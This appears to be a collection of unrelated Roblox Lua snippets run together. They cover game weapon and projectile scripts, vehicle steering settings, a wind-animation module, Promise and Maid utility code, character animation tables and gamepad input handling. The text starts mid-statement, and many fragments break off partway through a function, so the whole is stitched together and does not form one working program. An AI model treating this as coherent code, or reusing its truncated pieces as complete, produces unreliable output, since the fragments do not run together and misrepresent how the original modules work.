NumberSequence.new(transparencyPoints) local determinedColors = ColorSequence.new(startColor, endColor) trail.Transparency = determinedTransparency trail.Color = determinedColors local bodyVelocity = Instance.new("BodyVelocity", projectile) bodyVelocity.MaxForce = Vector3.new(9e9, 9e9, 9e9) bodyVelocity.Velocity = (mouseHit.lookVector * velocity.Value) + weaponAccuracy debris:AddItem(projectile, 20) projectile.Touched:Connect(function(hit) local eHumanoid = hit.Parent:FindFirstChild("Zombie") or hit.Parent.Parent:FindFirstChild("Zombie") local damage = math.random(minDamage.Value, maxDamage.Value) if not eHumanoid and not hit.Anchored and not hit:IsDescendantOf(character) then projectile:Destroy() elseif eHumanoid and eHumanoid ~= humanoid and eHumanoid.Health > 0 and hit ~= projectile then if hit.Name == "Head" or hit:IsA("Hat") then damage = damage * 10.5 end local criticalPoint = maxDamage.Value DamageAndTagHumanoid(player, eHumanoid, damage) if showDamageText then DynamicText(damage, criticalPoint, eHumanoid) else end projectile:Destroy() elseif hit.CanCollide == true and not hit:IsDescendantOf(player.Character) and hit.Anchored == true then projectile:Destroy() end end) handle.Fire:Play() muzzleEffect.Visible = true muzzleEffect.Rotation = math.random(-360, 360) delay(0.1, function() muzzleEffect.Visible = false end) end end) activateSpecial.OnServerEvent:Connect(function(player) accuracy.Value, fireRate.Value = accuracy.Value / 2, fireRate.Value / 2 minDamage.Value, maxDamage.Value = minDamage.Value / 2, maxDamage.Value / 2 spawn(function() local chargeSound = Instance.new("Sound", player.PlayerGui) chargeSound.Name = "ChargeSound" chargeSound.SoundId = "rbxassetid://163619849" chargeSound:Play() chargeSound.Ended:Connect(function() chargeSound:Destroy() end) local sparkles = Instance.new("Sparkles", handle) sparkles.SparkleColor = Color3.fromRGB(255, 236, 21) local activatedGui = Instance.new("ScreenGui", player.PlayerGui) activatedGui.Name = "SpecialActivated" local textLabel = Instance.new("TextLabel", activatedGui) textLabel.TextColor3 = Color3.fromRGB(0, 180, 30) textLabel.Text = "Trigger Happy activated!" textLabel.Font = Enum.Font.SourceSans textLabel.TextScaled = true textLabel.TextStrokeTransparency = 0 textLabel.Size = UDim2.new(0, 300, 0, 50) textLabel.Position = UDim2.new(2.5, 0, 0.15, -10) textLabel.BackgroundTransparency = 1 textLabel:TweenPosition(UDim2.new(0.5, -(textLabel.Size.X.Offset / 2), 0.1, -10), Enum.EasingDirection.Out, Enum.EasingStyle.Back, 1) debris:AddItem(sparkles, specialDuration.Value) debris:AddItem(chargeSound, 3) wait(3) TextEffects(textLabel, 200, Enum.EasingDirection.InOut, Enum.EasingStyle.Quint, 1) end) for i = specialDuration.Value, 0, -1 do wait(1) print("Special activated: "..i) end accuracy.Value, fireRate.Value = accuracy.Value * 5, fireRate.Value * 10 minDamage.Value, maxDamage.Value = minDamage.Value * 4, maxDamage.Value * 8 activateSpecial:FireClient(player) end)
-- Time it takes to reload weapon
local ReloadTime = 4
--[[Steering]]
Tune.SteerInner = 44 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', Workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = BrickColor.new("Black") bullet.Shape = Enum.PartType.Block bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) local shell = Instance.new("Part") shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0) shell.Size = Vector3.new(0,0,0) shell.BrickColor = BrickColor.new(226) shell.Parent = game.Workspace shell.CFrame = script.Parent.Handle.CFrame shell.CanCollide = false shell.Transparency = 0 shell.BottomSurface = 0 shell.TopSurface = 0 shell.Name = "Shell" shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20)) shell.RotVelocity = Vector3.new(0,200,0) DebrisService:AddItem(shell, 1) local shellmesh = Instance.new("SpecialMesh") shellmesh.Scale = Vector3.new(0,0,0) shellmesh.Parent = shell return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end if ReloadTrack then ReloadTrack:Play() end script.Parent.Handle.Reload:Play() wait(ReloadTime) -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) --WeaponGui.Reload.Visible = false if ReloadTrack then ReloadTrack:Stop() end end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Pitch.Pitch = 1 Handle.FireSound:Play() Handle.Flash.Enabled = true flare.MuzzleFlash.Enabled = true --Handle.Smoke.Enabled=true --This is optional end if MyMouse then local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Barrel.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Barrel.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if hitObject then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil WeaponGui.Crosshair.Hit:Play() --bullet.Transparency = 1 end Spawn(UpdateTargetHit) end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end wait(FireRate) end Handle.Flash.Enabled = false IsShooting = false flare.MuzzleFlash.Enabled = false --Handle.Smoke.Enabled=false --This is optional if AmmoInClip == 0 then Handle.Tick:Play() --WeaponGui.Reload.Visible = true Reload() end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() if RecoilTrack then RecoilTrack:Stop() end end end function OnEquipped(mouse) Handle.EquipSound:Play() Handle.EquipSound2:Play() Handle.UnequipSound:Stop() RecoilAnim = WaitForChild(Tool, 'Recoil') ReloadAnim = WaitForChild(Tool, 'Reload') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse Tip = WaitForChild(Tool, 'DonateGui'):Clone() if Tip and MyPlayer then Tip.Parent = MyPlayer.PlayerGui end WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if ReloadAnim then ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
--// K key, Directional
mouse.KeyDown:connect(function(key) if key=="k" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.DirectionalEvent:FireServer(true) end end)
--[[START]]
script.Parent:WaitForChild("Car") script.Parent:WaitForChild("IsOn") script.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Values") script.Parent:WaitForChild("DriveMode")
--good flashing
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) mode1() end function mode2()
-----------------------------------------------------------------------------------------------------------------
local ObjectShakeAddedEvent = Instance.new("BindableEvent") local ObjectShakeRemovedEvent = Instance.new("BindableEvent") local ObjectShakeUpdatedEvent = Instance.new("BindableEvent") local PausedEvent = Instance.new("BindableEvent") local ResumedEvent = Instance.new("BindableEvent") local WindShake = { UpdateHz = 1 / 45, ComputeHz = 1 / 30, Radius = 120, ObjectMetadata = {}, Octree = Octree.new(), Handled = 0, Active = 0, LastUpdate = os.clock(), ObjectShakeAdded = ObjectShakeAddedEvent.Event, ObjectShakeRemoved = ObjectShakeRemovedEvent.Event, ObjectShakeUpdated = ObjectShakeUpdatedEvent.Event, Paused = PausedEvent.Event, Resumed = ResumedEvent.Event, } export type WindShakeSettings = { WindDirection: Vector3?, WindSpeed: number?, WindPower: number?, } function WindShake:Connect(funcName: string, event: RBXScriptSignal): RBXScriptConnection local callback = self[funcName] assert(typeof(callback) == "function", "Unknown function: " .. funcName) return event:Connect(function(...) return callback(self, ...) end) end function WindShake:AddObjectShake(object: BasePart, settingsTable: WindShakeSettings?) if typeof(object) ~= "Instance" then return end if not object:IsA("BasePart") then return end local metadata = self.ObjectMetadata if metadata[object] then return else self.Handled += 1 end metadata[object] = { Node = self.Octree:CreateNode(object.Position, object), Settings = Settings.new(object, DEFAULT_SETTINGS), Seed = math.random(1000) * 0.1, Origin = object.CFrame, } if settingsTable then self:UpdateObjectSettings(object, settingsTable) end ObjectShakeAddedEvent:Fire(object) end function WindShake:RemoveObjectShake(object: BasePart) if typeof(object) ~= "Instance" then return end local metadata = self.ObjectMetadata local objMeta = metadata[object] if objMeta then self.Handled -= 1 metadata[object] = nil objMeta.Settings:Destroy() objMeta.Node:Destroy() if object:IsA("BasePart") then object.CFrame = objMeta.Origin end end ObjectShakeRemovedEvent:Fire(object) end function WindShake:Update() local now = os.clock() local dt = now - self.LastUpdate if dt < self.UpdateHz then return end self.LastUpdate = now debug.profilebegin("WindShake") local camera = workspace.CurrentCamera local cameraCF = camera and camera.CFrame debug.profilebegin("Octree Search") local updateObjects = self.Octree:RadiusSearch(cameraCF.Position + (cameraCF.LookVector * (self.Radius * 0.95)), self.Radius) debug.profileend() local activeCount = #updateObjects self.Active = activeCount if activeCount < 1 then return end local step = math.min(1, dt * 8) local cfTable = table.create(activeCount) local objectMetadata = self.ObjectMetadata debug.profilebegin("Calc") for i, object in ipairs(updateObjects) do local objMeta = objectMetadata[object] local lastComp = objMeta.LastCompute or 0 local origin = objMeta.Origin local current = objMeta.CFrame or origin if (now - lastComp) > self.ComputeHz then local objSettings = objMeta.Settings local seed = objMeta.Seed local amp = objSettings.WindPower * 0.1 local freq = now * (objSettings.WindSpeed * 0.08) local rotX = math.noise(freq, 0, seed) * amp local rotY = math.noise(freq, 0, -seed) * amp local rotZ = math.noise(freq, 0, seed + seed) * amp local offset = object.PivotOffset local worldpivot = origin * offset objMeta.Target = ( worldpivot * CFrame.Angles(rotX, rotY, rotZ) + objSettings.WindDirection * ((0.5 + math.noise(freq, seed, seed)) * amp) ) * offset:Inverse() objMeta.LastCompute = now end current = current:Lerp(objMeta.Target, step) objMeta.CFrame = current cfTable[i] = current end debug.profileend() workspace:BulkMoveTo(updateObjects, cfTable, Enum.BulkMoveMode.FireCFrameChanged) debug.profileend() end function WindShake:Pause() if self.UpdateConnection then self.UpdateConnection:Disconnect() self.UpdateConnection = nil end self.Active = 0 self.Running = false PausedEvent:Fire() end function WindShake:Resume() if self.Running then return else self.Running = true end -- Connect updater self.UpdateConnection = self:Connect("Update", RunService.Heartbeat) ResumedEvent:Fire() end function WindShake:Init() if self.Initialized then return else self.Initialized = true end -- Define attributes if they're undefined. local power = script:GetAttribute("WindPower") local speed = script:GetAttribute("WindSpeed") local direction = script:GetAttribute("WindDirection") if typeof(power) ~= "number" then script:SetAttribute("WindPower", DEFAULT_SETTINGS.WindPower) end if typeof(speed) ~= "number" then script:SetAttribute("WindSpeed", DEFAULT_SETTINGS.WindSpeed) end if typeof(direction) ~= "Vector3" then script:SetAttribute("WindDirection", DEFAULT_SETTINGS.WindDirection) end -- Clear any old stuff. self:Cleanup() -- Wire up tag listeners. local windShakeAdded = CollectionService:GetInstanceAddedSignal(COLLECTION_TAG) self.AddedConnection = self:Connect("AddObjectShake", windShakeAdded) local windShakeRemoved = CollectionService:GetInstanceRemovedSignal(COLLECTION_TAG) self.RemovedConnection = self:Connect("RemoveObjectShake", windShakeRemoved) for _, object in pairs(CollectionService:GetTagged(COLLECTION_TAG)) do self:AddObjectShake(object) end -- Automatically start. self:Resume() end function WindShake:Cleanup() if not self.Initialized then return end self:Pause() if self.AddedConnection then self.AddedConnection:Disconnect() self.AddedConnection = nil end if self.RemovedConnection then self.RemovedConnection:Disconnect() self.RemovedConnection = nil end table.clear(self.ObjectMetadata) self.Octree:ClearNodes() self.Handled = 0 self.Active = 0 self.Initialized = false end function WindShake:UpdateObjectSettings(object: Instance, settingsTable: WindShakeSettings) if typeof(object) ~= "Instance" then return end if typeof(settingsTable) ~= "table" then return end if not self.ObjectMetadata[object] and (object ~= script) then return end for key, value in pairs(settingsTable) do object:SetAttribute(key, value) end ObjectShakeUpdatedEvent:Fire(object) end function WindShake:UpdateAllObjectSettings(settingsTable: WindShakeSettings) if typeof(settingsTable) ~= "table" then return end for obj, objMeta in pairs(self.ObjectMetadata) do for key, value in pairs(settingsTable) do obj:SetAttribute(key, value) end ObjectShakeUpdatedEvent:Fire(obj) end end function WindShake:SetDefaultSettings(settingsTable: WindShakeSettings) self:UpdateObjectSettings(script, settingsTable) end return WindShake
-- print("Keyframe : ".. frameName)
playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName)
--[[** ensures Roblox Region3int16 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Region3int16 = t.typeof("Region3int16")
-- Enumerators:
local CollisionMode = { None = 0; Whitelist = 1; Blacklist = 2; Function = 3; }
--////////////////////////////// Include --//////////////////////////////////////
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants")) local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local Speaker = require(modulesFolder:WaitForChild("Speaker")) local Util = require(modulesFolder:WaitForChild("Util")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end) ChatLocalization = ChatLocalization or {} if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then function ChatLocalization:FormatMessageToSend(key,default) return default end end
--[[ Create a promise that represents the immediately rejected value. ]]
function Promise.reject(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(_, reject) reject(unpack(values, 1, length)) end) end
-- humanoidAnimatePlayEmote.lua
local Figure = script.Parent local Torso = Figure:WaitForChild("Torso") local RightShoulder = Torso:WaitForChild("Right Shoulder") local LeftShoulder = Torso:WaitForChild("Left Shoulder") local RightHip = Torso:WaitForChild("Right Hip") local LeftHip = Torso:WaitForChild("Left Hip") local Neck = Torso:WaitForChild("Neck") local Humanoid = Figure:WaitForChild("Humanoid") local pose = "Standing" local EMOTE_TRANSITION_TIME = 0.1 local userAnimateScaleRunSuccess, userAnimateScaleRunValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserAnimateScaleRun") end) local userAnimateScaleRun = userAnimateScaleRunSuccess and userAnimateScaleRunValue local function getRigScale() if userAnimateScaleRun then return Figure:GetScale() else return 1 end end local currentAnim = "" local currentAnimInstance = nil local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=180435571", weight = 9 }, { id = "http://www.roblox.com/asset/?id=180435792", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=180426354", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=180436148", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=180436334", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=178130996", weight = 10 } }, toolnone = { { id = "", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
--[=[ Initializes a new promise with the given function in a deferred wrapper. @param func (resolve: (...) -> (), reject: (...) -> ()) -> ()? @return Promise<T> ]=]
function Promise.defer(func) local self = Promise.new() -- Just the function part of the resolve/reject protocol! task.defer(func, self:_getResolveReject()) return self end
--[=[ Gives a task to the maid for cleanup, but uses an incremented number as a key. @param task MaidTask -- An item to clean @return number -- taskId ]=]
function Maid:GiveTask(task) if not task then error("Task cannot be false or nil", 2) end local taskId = #self._tasks+1 self[taskId] = task if type(task) == "table" and (not task.Destroy) then warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback()) end return taskId end
----------------- --| Functions |-- -----------------
local function MakeReloadRocket() local reloadRocket = Instance.new('Part') reloadRocket.Name = "Ammo" reloadRocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size reloadRocket.Size = Vector3.new() -- As small as possible local mesh = Instance.new('SpecialMesh', reloadRocket) mesh.MeshId = ROCKET_MESH_ID mesh.Scale = ROCKET_MESH_SCALE mesh.TextureId = ToolHandle.Mesh.TextureId return reloadRocket end local function OnEquipped() MyModel = Tool.Parent ReloadRocket = MakeReloadRocket() end local function OnChanged(property) if property == 'Enabled' and Tool.Enabled == false then -- Show the next rocket going into the launcher StillEquipped = true wait(ROCKET_SHOW_TIME) if StillEquipped then local leftArm = MyModel:FindFirstChild('Left Arm') if leftArm then local weld = ReloadRocket:FindFirstChild('Weld') if not weld then weld = Instance.new('Weld') weld.Part0 = leftArm weld.Part1 = ReloadRocket weld.C1 = CFrame.new(Vector3.new(0, 1, 0)) weld.Parent = ReloadRocket end ReloadRocket.Parent = MyModel end wait(ROCKET_HIDE_TIME - ROCKET_SHOW_TIME) if StillEquipped and ReloadRocket.Parent == MyModel then ReloadRocket.Parent = nil end end end end local function OnUnequipped() StillEquipped = false ReloadRocket:Destroy() ReloadRocket = nil end
-- This is a list of team names that players will not be able to switch to.
local blockedteams = { "Staff", "Admins", "Developers", } return blockedteams
-- xSIXx, Create an animatable joint when tool is equipped.
local motorName = "Handle" -- Change this to the target Motor6D name you want in the Right Arm/RightHand. local motor = nil
--[=[ Begins a Promise chain, calling a function and returning a Promise resolving with its return value. If the function errors, the returned Promise will be rejected with the error. You can safely yield within the Promise.try callback. :::info `Promise.try` is similar to [Promise.promisify](#promisify), except the callback is invoked immediately instead of returning a new function. ::: ```lua Promise.try(function() return math.random(1, 2) == 1 and "ok" or error("Oh an error!") end) :andThen(function(text) print(text) end) :catch(function(err) warn("Something went wrong") end) ``` @param callback (...: T...) -> ...any @param ... T... -- Additional arguments passed to `callback` @return Promise ]=]
function Promise.try(callback, ...) return Promise._try(debug.traceback(nil, 2), callback, ...) end
----------------------------------------------------------------------------
script.Parent.Humanoid.HealthChanged:Connect(function() if script.Parent.Humanoid.Health <= 73 then Instance.new("Decal", script.Parent["Left Arm"]) script.Parent["Left Arm"].Decal.Texture = "rbxassetid://408754747" script.Parent["Left Arm"].Decal.Face = "Bottom" end end)
--!nocheck -- ^ change to strict to crash studio c:
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end end end
--------SIDE SQUARES--------
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--- Octree implementation -- @module OctreeRegionUtils
local EPSILON = 1e-6 local SQRT_3_OVER_2 = math.sqrt(3) / 2 local SUB_REGION_POSITION_OFFSET = { {0.25, 0.25, -0.25}; {-0.25, 0.25, -0.25}; {0.25, 0.25, 0.25}; {-0.25, 0.25, 0.25}; {0.25, -0.25, -0.25}; {-0.25, -0.25, -0.25}; {0.25, -0.25, 0.25}; {-0.25, -0.25, 0.25}; } local OctreeRegionUtils = {}
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function GuiController:UpdateSpeed() end -- GuiController:UpdateSpeed() function GuiController:Start(s) speeder = s primary = speeder.PrimaryPart engine = speeder.engine -- Boost bar and button BoostSetup(function(boost) self.Boost = boost end) -- Control thumbstick: ThumbstickSetup(gui:WaitForChild("ThumbstickLeft"), function(x, y) self.Yaw = x * MOBILE_DAMP self.Pitch = y * MOBILE_DAMP end) end -- GuiController:Start() function GuiController:Stop() end -- GuiController:Stop
--- Iterate through all modules
for _, m in ipairs(script:GetChildren()) do if m.ClassName == "ModuleScript" then --- Add it! Functions[m.Name] = require(m) end end
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadUp then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput)
-- transforms Roblox types into intermediate types, converting -- between spaces as necessary to preserve perceptual linearity
local typeMetadata = { number = { springType = LinearSpring.new, toIntermediate = function(value) return {value} end, fromIntermediate = function(value) return value[1] end, }, NumberRange = { springType = LinearSpring.new, toIntermediate = function(value) return {value.Min, value.Max} end, fromIntermediate = function(value) return NumberRange.new(value[1], value[2]) end, }, UDim = { springType = LinearSpring.new, toIntermediate = function(value) return {value.Scale, value.Offset} end, fromIntermediate = function(value) return UDim.new(value[1], value[2]) end, }, UDim2 = { springType = LinearSpring.new, toIntermediate = function(value) local x = value.X local y = value.Y return {x.Scale, x.Offset, y.Scale, y.Offset} end, fromIntermediate = function(value) return UDim2.new(value[1], value[2], value[3], value[4]) end, }, Vector2 = { springType = LinearSpring.new, toIntermediate = function(value) return {value.X, value.Y} end, fromIntermediate = function(value) return Vector2.new(value[1], value[2]) end, }, Vector3 = { springType = LinearSpring.new, toIntermediate = function(value) return {value.X, value.Y, value.Z} end, fromIntermediate = function(value) return Vector3.new(value[1], value[2], value[3]) end, }, 